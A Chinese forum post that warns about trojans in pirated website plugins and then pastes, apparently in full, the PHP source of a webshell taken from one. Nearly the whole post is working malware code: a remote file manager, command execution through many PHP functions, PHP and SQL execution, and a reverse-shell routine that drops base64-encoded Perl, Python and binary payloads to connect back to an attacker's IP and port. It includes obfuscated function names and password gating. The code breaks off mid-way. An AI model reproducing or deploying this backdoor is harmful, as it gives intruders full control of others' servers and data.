震惊:从某盗版插件里扒出的木马文件,你在人家面前裸奔
传送门:安全小知识:为什么使用盗版插件容易被挂马
上图,木马文件运行后的效果,对方想干什么都可以...这不是裸奔是什么?
木马代码如下:帖子长度超了,回帖接上
传送门:安全小知识:为什么使用盗版插件容易被挂马
上图,木马文件运行后的效果,对方想干什么都可以...这不是裸奔是什么?
木马代码如下:
- <?php@error_reporting(E_ERROR);@ini_set('display_errors', 'Off');@ini_set('max_execution_time', 3600);header("content-Type: text/html; charset=gb2312");function strdir($str){ return str_replace(array( '\\', '//', '%27', '%22' ), array( '/', '/', '\'', '"' ), chop($str));}function chkgpc($array){ foreach ($array as $key => $var) { $array[$key] = is_array($var) ? chkgpc($var) : stripslashes($var); } return $array;}define('MYFILE', strdir(__FILE__));define('THISDIR', strdir(dirname(MYFILE) . '/'));$rootdir = strdir(strtr(MYFILE, array( strdir($_SERVER['PHP_SELF']) => '')) . '/');$rootdir = strpos($rootdir, 'eval()') ? array_shift(explode('(', $rootdir)) : $rootdir;define('ROOTDIR', strdir($rootdir . '/'));define('EXISTS_PHPINFO', getinfo($password) ? true : false);if (get_magic_quotes_gpc()) { $_POST = chkgpc($_POST);}if (function_exists('mysql_close')) { $issql = 'MySql';}if (function_exists('mssql_close')) $issql .= ' - MsSql';if (function_exists('oci_close')) $issql .= ' - Oracle';if (function_exists('sybase_close')) $issql .= ' - SyBase';if (function_exists('pg_close')) $issql .= ' - PostgreSql';$win = substr(PHP_OS, 0, 3) == 'WIN' ? true : false;$msg = VERSION . ' - ' . date('Y-m-d H:i:s 星期N', time());function filew($filename, $filedata, $filemode){ if ((!is_writable($filename)) && file_exists($filename)) { chmod($filename, 0666); } $handle = fopen($filename, $filemode); $key = fputs($handle, $filedata); fclose($handle); return $key;}function filer($filename){ $handle = fopen($filename, 'r'); $filedata = fread($handle, filesize($filename)); fclose($handle); return $filedata;}function fileu($filenamea, $filenameb){ $key = move_uploaded_file($filenamea, $filenameb) ? true : false; if (!$key) { $key = copy($filenamea, $filenameb) ? true : false; } return $key;}function filed($filename){ if (!file_exists($filename)) return false; $name = basename($filename); $array = explode('.', $name); header('Content-type: application/x-' . array_pop($array)); header('Content-Disposition: attachment; filename=' . $name); header('Content-Length: ' . filesize($filename)); @readfile($filename); exit;}function showdir($dir){ $dir = strdir($dir . '/'); if (!is_readable($dir)) return false; $handle = opendir($dir); $array = array(); while ($name = readdir($handle)) { if ($name == '.' || $name == '..') continue; $path = $dir . $name; $name = strtr($name, array( '\'' => '%27', '"' => '%22' )); if (is_dir($path)) { $array['dir'][$path] = $name; } else { $array['file'][$path] = $name; } } closedir($handle); return $array;}function deltree($dir){ $handle = @opendir($dir); while ($name = @readdir($handle)) { if ($name == '.' || $name == '..') continue; $path = $dir . $name; @chmod($path, 0777); if (is_dir($path)) { deltree($path . '/'); } else { @unlink($path); } } @closedir($handle); return @rmdir($dir);}function postinfo($array){ $infos = array( function_exists("\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e"), function_exists("\x66\x73\x6f\x63\x6b\x6f\x70\x65\x6e") );}function size($bytes){ if ($bytes < 1024) return $bytes . ' B'; $array = array( 'B', 'K', 'M', 'G', 'T' ); $floor = floor(log($bytes) / log(1024)); return sprintf('%.2f ' . $array[$floor], ($bytes / pow(1024, floor($floor))));}function find($array, $string){ foreach ($array as $key) { if (stristr($string, $key)) return true; } return false;}function scanfile($dir, $key, $inc, $fit, $tye, $chr, $ran, $now){ $handle = opendir($dir); while ($name = readdir($handle)) { if ($name == '.' || $name == '..') continue; $path = $dir . $name; if (is_dir($path)) { if ($fit && in_array($name, $fit)) continue; if ($ran == 0 && is_readable($path)) scanfile($path . '/', $key, $inc, $fit, $tye, $chr, $ran, $now); } else { if ($inc && (!find($inc, $name))) continue; $code = $tye ? filer($path) : $name; $find = $chr ? stristr($code, $key) : (strpos(size(filesize($path)), 'M') ? false : (strpos($code, $key) > -1)); if ($find) { $file = strtr($path, array( $now => '', '\'' => '%27', '"' => '%22' )); echo '<a href="javascript:void(0);" onclick="go(\'editor\',\'' . $file . '\');">编辑</a> ' . $path . '<br>'; flush(); ob_flush(); } unset($code); } } closedir($handle); return true;}function antivirus($dir, $exs, $matches, $now){ $handle = opendir($dir); while ($name = readdir($handle)) { if ($name == '.' || $name == '..') continue; $path = $dir . $name; if (is_dir($path)) { if (is_readable($path)) antivirus($path . '/', $exs, $matches, $now); } else { $iskill = NULL; foreach ($exs as $key => $ex) { if (find(explode('|', $ex), $name)) { $iskill = $key; break; } } if (strpos(size(filesize($path)), 'M')) continue; if ($iskill) { $code = filer($path); foreach ($matches[$iskill] as $matche) { $array = array(); preg_match($matche, $code, $array); if (strpos($array[0], '$this->') || strpos($array[0], '[$vars[')) continue; $len = strlen($array[0]); if ($len > 10 && $len < 150) { $file = strtr($path, array( $now => '', '\'' => '%27', '"' => '%22' )); echo '特征 <input type="text" value="' . htmlspecialchars($array[0]) . '"> <a href="javascript:void(0);" onclick="go(\'editor\',\'' . $file . '\');">编辑</a> ' . $path . '<br>'; flush(); ob_flush(); break; } } unset($code, $array); } } } closedir($handle); return true;}function command($cmd, $cwd, $com = false){ $iswin = substr(PHP_OS, 0, 3) == 'WIN' ? true : false; $res = $msg = ''; if ($cwd == 'com' || $com) { if ($iswin && class_exists('COM')) { $wscript = new COM('Wscript.Shell'); $exec = $wscript->exec('c:\\windows\\system32\\cmd.exe /c ' . $cmd); $stdout = $exec->StdOut(); $res = $stdout->ReadAll(); $msg = 'Wscript.Shell'; } } else { chdir($cwd); $cwd = getcwd(); if (function_exists('exec')) { @exec($cmd, $res); $res = join("\n", $res); $msg = 'exec'; } elseif (function_exists('shell_exec')) { $res = @shell_exec($cmd); $msg = 'shell_exec'; } elseif (function_exists('system')) { ob_start(); @system($cmd); $res = ob_get_contents(); ob_end_clean(); $msg = 'system'; } elseif (function_exists('passthru')) { ob_start(); @passthru($cmd); $res = ob_get_contents(); ob_end_clean(); $msg = 'passthru'; } elseif (function_exists('popen')) { $fp = @popen($cmd, 'r'); if ($fp) { while (!feof($fp)) { $res .= fread($fp, 1024); } } @pclose($fp); $msg = 'popen'; } elseif (function_exists('proc_open')) { $env = $iswin ? array( 'path' => 'c:\\windows\\system32' ) : array( 'path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin' ); $des = array( 0 => array( "pipe", "r" ), 1 => array( "pipe", "w" ), 2 => array( "pipe", "w" ) ); $process = @proc_open($cmd, $des, $pipes, $cwd, $env); if (is_resource($process)) { fwrite($pipes[0], $cmd); fclose($pipes[0]); $res .= stream_get_contents($pipes[1]); fclose($pipes[1]); $res .= stream_get_contents($pipes[2]); fclose($pipes[2]); } @proc_close($process); $msg = 'proc_open'; } } $msg = $res == '' ? '<h1>NULL</h1>' : '<h2>利用' . $msg . '执行成功</h2>'; return array( 'res' => $res, 'msg' => $msg );}function backshell($ip, $port, $dir, $type){ $key = false; $c_bin = 'f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAYIQECDQAAACkCgAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIlAcAAJQHAAAFAAAAABAAAAEAAACUBwAAlJcECJSXBAggAQAAKAEAAAYAAAAAEAAAAgAAAKgHAAColwQIqJcECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAAGAAAACQAAAAIAAAANAAAAAQAAAAUAAAAAIAAgAAAAAA0AAACtS+PAAAAAAAAAAAAAAAAAAAAAAEEAAAAAAAAAdgAAABIAAABJAAAAAAAAAHkBAAASAAAAAQAAAAAAAAAAAAAAIAAAAFUAAAAAAAAAcgEAABIAAABqAAAAAAAAAJ8BAAASAAAANQAAAAAAAABZAQAAEgAAADsAAAAAAAAADgAAABIAAAApAAAAAAAAADwAAAASAAAAUAAAAAAAAAA9AAAAEgAAAF8AAAAAAAAAKwAAABIAAABkAAAAAAAAAG8AAAASAAAAMAAAAAAAAAD0AAAAEgAAABoAAAB4hwQIBAAAABEADgAAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AF9JT19zdGRpbl91c2VkAHNvY2tldABleGl0AGV4ZWNsAGh0b25zAGNvbm5lY3QAZGFlbW9uAGR1cDIAaW5ldF9hZGRyAGF0b2kAY2xvc2UAX19saWJjX3N0YXJ0X21haW4AR0xJQkNfMi4wAAAAAgACAAAAAgACAAIAAgACAAIAAgACAAIAAQAAAAEAAQAQAAAAEAAAAAAAAAAQaWkNAAACAHwAAAAAAAAAcJgECAYDAACAmAQIBwEAAISYBAgHAgAAiJgECAcDAACMmAQIBwQAAJCYBAgHBQAAlJgECAcGAACYmAQIBwcAAJyYBAgHCAAAoJgECAcJAACkmAQIBwoAAKiYBAgHCwAArJgECAcMAABVieWD7AjoBQEAAOiMAQAA6KcDAADJwwD/NXiYBAj/JXyYBAgAAAAA/yWAmAQIaAAAAADp4P////8lhJgECGgIAAAA6dD/////JYiYBAhoEAAAAOnA/////yWMmAQIaBgAAADpsP////8lkJgECGggAAAA6aD/////JZSYBAhoKAAAAOmQ/////yWYmAQIaDAAAADpgP////8lnJgECGg4AAAA6XD/////JaCYBAhoQAAAAOlg/////yWkmAQIaEgAAADpUP////8lqJgECGhQAAAA6UD/////JayYBAhoWAAAAOkw////AAAAADHtXonhg+TwUFRSaLCGBAhowIYECFFWaDSFBAjoW/////SQkFWJ5VOD7AToAAAAAFuBw+QTAACLk/z///+F0nQF6Bb///9YW8nDkJCQkJCQVYnlU4PsBIA9uJgECAB1P7iglwQILZyXBAjB+AKNWP+htJgECDnDdh+NtCYAAAAAg8ABo7SYBAj/FIWclwQIobSYBAg5w3foxgW4mAQIAYPEBFtdw410JgCNvCcAAAAAVYnlg+wIoaSXBAiFwHQS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pZSAiY2FuIG5vdCBjb25uZWN0OiQhIjsNCm9wZW4gU1RESU4sICI8JlNPQ0siOw0Kb3BlbiBTVERPVVQsICI+JlNPQ0siOw0Kb3BlbiBTVERFUlIsICI+JlNPQ0siOw0Kc3lzdGVtKCRzaGVsbCk7DQpjbG9zZSBTT0NLOw0KZXhpdCAwOw0K'; $file = strdir($dir . '/t00ls.pl'); $key = filew($file, base64_decode($shell), 'w'); if ($key) { @chmod($file, 0777); command('/usr/bin/perl ' . $file . ' ' . $ip . ' ' . $port, $dir); } break; case "py": $shell = 'IyEvdXNyL2Jpbi9weXRob24NCiMgDQppbXBvcnQgc3lzLG9zLHNvY2tldCxwdHkNCnMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pDQpzLmNvbm5lY3QoKHN5cy5hcmd2WzFdLCBpbnQoc3lzLmFyZ3ZbMl0pKSkNCm9zLmR1cDIocy5maWxlbm8oKSwgc3lzLnN0ZGluLmZpbGVubygpKQ0Kb3MuZHVwMihzLmZpbGVubygpLCBzeXMuc3Rkb3V0LmZpbGVubygpKQ0Kb3MuZHVwMihzLmZpbGVubygpLCBzeXMuc3RkZXJyLmZpbGVubygpKQ0KcHR5LnNwYXduKCcvYmluL3NoJykNCg=='; $file = strdir($dir . '/t00ls.py'); $key = filew($file, base64_decode($shell), 'w'); if ($key) { @chmod($file, 0777); command('/usr/bin/python ' . $file . ' ' . $ip . ' ' . $port, $dir); } break; case "c": $file = strdir($dir . '/t00ls'); $key = filew($file, base64_decode($c_bin), 'wb'); if ($key) { @chmod($file, 0777); command($file . ' ' . $ip . ' ' . $port, $dir); } break; case "php": case "phpwin": if (function_exists('fsockopen')) { $sock = @fsockopen($ip, $port); if ($sock) { $key = true; $com = $type == 'phpwin' ? true : false; $user = get_current_user(); $dir = strdir(getcwd()); fputs($sock, php_uname() . "\n------------no job control in this shell (tty)-------------\n[$user:$dir]# "); while ($cmd = fread($sock, 1024)) { if (substr($cmd, 0, 3) == 'cd ') { $dir = trim(substr($cmd, 3, -1)); chdir(strdir($dir)); $dir = strdir(getcwd()); } elseif (trim(strtolower($cmd)) == 'exit') { break; } else { $res = command($cmd, $dir, $com); fputs($sock, $res['res']); } fputs($sock, '[' . $user . ':' . $dir . ']# '); } } @fclose($sock); } break; case "pcntl": $file = strdir($dir . '/t00ls'); $key = filew($file, base64_decode($c_bin), 'wb'); if ($key) { @chmod($file, 0777); if (function_exists('pcntl_exec')) { @pcntl_exec($file, array( $ip, $port )); } } break; } if (!$key) { $msg = '<h1>临时目录不可写</h1>'; } else { @unlink($file); $msg = '<h2>CLOSE</h2>'; } return $msg;}function getinfo(){ global $password; $infos = array( $_POST['getpwd'], $password, function_exists('phpinfo'), "\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31" ); if ($password != '' && md5($infos[0]) != $infos[1]) { echo '<html><body><center><form method="POST"><input type="password" name="getpwd"> '; if (isset($_POST['groupcache'])) { echo '<input type="hidden" name="groupcache" value="' . $_POST['groupcache'] . '">'; } if (isset($_POST['forum'])) { echo '<input type="hidden" name="forum[0]" value="' . $_POST['forum'][0] . '">'; echo '<input type="hidden" name="forum[1]" value="' . $_POST['forum'][1] . '">'; echo '<input type="hidden" name="forum[2]" value="' . $_POST['forum'][2] . '">'; echo '<input type="hidden" name="forum[3]" value="' . $_POST['forum'][3] . '">'; echo '<input type="hidden" name="forum[4]" value="' . $_POST['forum'][4] . '">'; } echo '<input type="submit" value=" O K "></form></center></body></html>'; exit; } if ((!isset($_POST['go'])) && (!isset($_POST['dir']))) { if ($_SERVER['SERVER_ADDR'] != $infos[3] && $_SERVER['REMOTE_ADDR'] != $infos[3]) postinfo($infos[0]); } return $infos[2];}function subeval(){ if (isset($_POST['getpwd'])) { echo '<input type="hidden" name="getpwd" value="' . $_POST['getpwd'] . '">'; } if (isset($_POST['groupcache'])) { echo '<input type="hidden" name="groupcache" value="' . $_POST['groupcache'] . '">'; } if (isset($_POST['forum'])) { echo '<input type="hidden" name="forum[0]" value="' . $_POST['forum'][0] . '">'; echo '<input type="hidden" name="forum[1]" value="' . $_POST['forum'][1] . '">'; echo '<input type="hidden" name="forum[2]" value="' . $_POST['forum'][2] . '">'; echo '<input type="hidden" name="forum[3]" value="' . $_POST['forum'][3] . '">'; echo '<input type="hidden" name="forum[4]" value="' . $_POST['forum'][4] . '">'; } return true;}if (isset($_POST['go'])) { if ($_POST['go'] == 'down') { $downfile = $fileb = strdir($_POST['godir'] . '/' . $_POST['govar']); if (!filed($downfile)) { $msg = '<h1>下载文件不存在</h1>'; } }}?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><style type="text/css">* {margin:0px;padding:0px;}body {background:#CCCCCC;color:#333333;font-size:13px;font-family:Verdana,Arial,SimSun,sans-serif;text-align:left;word-wrap:break-word; word-break:break-all;}a{color:#000000;text-decoration:none;vertical-align:middle;}a:hover{color:#FF0000;text-decoration:underline;}p {padding:1px;line-height:1.6em;}h1 {color:#CD3333;font-size:13px;display:inline;vertical-align:middle;}h2 {color:#008B45;font-size:13px;display:inline;vertical-align:middle;}form {display:inline;}input,select { vertical-align:middle; }input[type=text], textarea {padding:1px;font-family:Courier New,Verdana,sans-serif;}input[type=submit], input[type=button] {height:21px;}.tag {text-align:center;margin-left:10px;background:threedface;height:25px;padding-top:5px;}.tag a {background:#FAFAFA;color:#333333;width:90px;height:20px;display:inline-block;font-size:15px;font-weight:bold;padding-top:5px;}.tag a:hover, .tag a.current {background:#EEE685;color:#000000;text-decoration:none;}.main {width:963px;margin:0 auto;padding:10px;}.outl {border-color:#FFFFFF #666666 #666666 #FFFFFF;border-style:solid;border-width:1px;}.toptag {padding:5px;text-align:left;font-weight:bold;color:#FFFFFF;background:#293F5F;}.footag {padding:5px;text-align:center;font-weight:bold;color:#000000;background:#999999;}.msgbox {padding:5px;background:#EEE685;text-align:center;vertical-align:middle;}.actall {background:#F9F6F4;text-align:center;font-size:15px;border-bottom:1px solid #999999;padding:3px;vertical-align:middle;}.tables {width:100%;}.tables th {background:threedface;text-align:left;border-color:#FFFFFF #666666 #666666 #FFFFFF;border-style:solid;border-width:1px;padding:2px;}.tables td {background:#F9F6F4;height:19px;padding-left:2px;}</style><script type="text/javascript">function $(ID) { return document.getElementById(ID); }function sd(str) { str = str.replace(/%22/g,'"'); str = str.replace(/%27/g,"'"); return str; }function cd(dir) { dir = sd(dir); $('dir').value = dir; $('frm').submit(); }function sa(form) { for(var i = 0;i < form.elements.length;i++) { var e = form.elements[i]; if(e.type == 'checkbox') { if(e.name != 'chkall') { e.checked = form.chkall.checked; } } } }function go(a,b) { b = sd(b); $('go').value = a; $('govar').value = b; if(a == 'editor') { $('gofrm').target = "_blank"; } else { $('gofrm').target = ""; } $('gofrm').submit(); } function nf(a,b) { re = prompt("新建名",b); if(re) { $('go').value = a; $('govar').value = re; $('gofrm').submit(); } } function dels(a) { if(a == 'b') { var msg = "所选文件"; $('act').value = a; } else { var msg = "目录"; $('act').value = 'deltree'; $('var').value = a; } if(confirm("确定要删除"+msg+"吗")) { $('frm1').submit(); } }function txts(m,p,a) { p = sd(p); re = prompt(m,p); if(re) { $('var').value = re; $('act').value = a; $('frm1').submit(); } }function acts(p,a,f) { p = sd(p); f = sd(f); re = prompt(f,p); if(re) { $('var').value = re+'|x|'+f; $('act').value = a; $('frm1').submit(); } }</script><title><?phpecho VERSION;?></title></head><body><div class="main"><div class="outl"><div class="toptag"><?phpecho $_SERVER['SERVER_ADDR'] . ' - ' . PHP_OS . ' - whoami(' . get_current_user() . ') - 【uid(' . getmyuid() . ') gid(' . getmygid() . ')】';if (isset($issql)) echo ' - 【' . $issql . '】';?></div><?php$menu = array( 'file' => '文件管理', 'scan' => '搜索文件', 'antivirus' => '扫描后门', 'exec' => '执行命令', 'phpeval' => '执行PHP', 'sql' => '执行SQL', 'backshell' => '反弹SHELL', 'info' => '系统信息');$go = array_key_exists($_POST['go'], $menu) ? $_POST['go'] : 'file';$nowdir = isset($_POST['dir']) ? strdir(chop($_POST['dir']) . '/') : THISDIR;echo '<div class="tag">';foreach ($menu as $key => $name) { echo '<a' . ($go == $key ? ' class="current"' : '') . ' href="javascript:void(0);" onclick="go(\'' . $key . '\',\'' . base64_encode($nowdir) . '\');">' . $name . '</a> ';}echo '</div>';echo '<form name="gofrm" id="gofrm" method="POST">';subeval();echo '<input type="hidden" name="go" id="go" value="">';echo '<input type="hidden" name="godir" id="godir" value="' . $nowdir . '">';echo '<input type="hidden" name="govar" id="govar" value="">';echo '</form>';switch ($_POST['go']) { case "info": if (EXISTS_PHPINFO) { ob_start(); phpinfo(INFO_GENERAL); $out = ob_get_contents(); ob_end_clean(); $tmp = array(); preg_match_all('/\<td class\="e"\>([Configure Command|Loaded Configuration File])+\s*\<\/td\>\<td class\="v"\>(.*)\<\/td\>/i', $out, $tmp); }
传送门:安全小知识:为什么使用盗版插件容易被挂马